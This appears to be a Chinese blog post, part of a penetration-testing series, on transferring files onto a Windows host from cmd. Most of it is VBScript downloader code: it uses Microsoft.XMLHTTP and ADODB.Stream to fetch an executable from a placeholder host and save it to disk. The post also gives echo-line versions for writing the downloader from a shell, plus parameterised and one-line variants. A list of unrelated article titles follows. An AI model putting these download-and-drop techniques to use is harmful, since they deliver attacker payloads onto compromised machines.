渗透测试中的文件传输通道1- cmd下下载文件
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:\dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
最新文章
- [leetcode] 提醒整理之进制
- Entity Framework学习笔记——配置EF
- 数据导出Excel中文乱码
- iOS-消息推送机制的实现
- Codeforces 741A：Arpa's loud Owf and Mehrdad's evil plan（LCM+思维）
- Qemu+gdb跟踪内核源码
- 零基础学习Linux（二）网页乱码问题
- HNOI2008明明的烦恼
- bug修复复盘
- Linux编程---套接字
- jQuery中的for循环var与let的区别
- JaveScript基础(2)之数据类型转换和常用字符串的操作方法
- Arduino内部网页代理，网页穿透，公网访问Arduino内部网页
- wireshark过滤器
- C#分割字符串并统计重复出现的次数
- Mybatis时间段比较
- nginx 隐藏 index.php
- 如何使用pycharm调试(debug) django的测试用例？
- jquery validation表单验证插件。
- 解决ArcEngine开发程序“假死”现象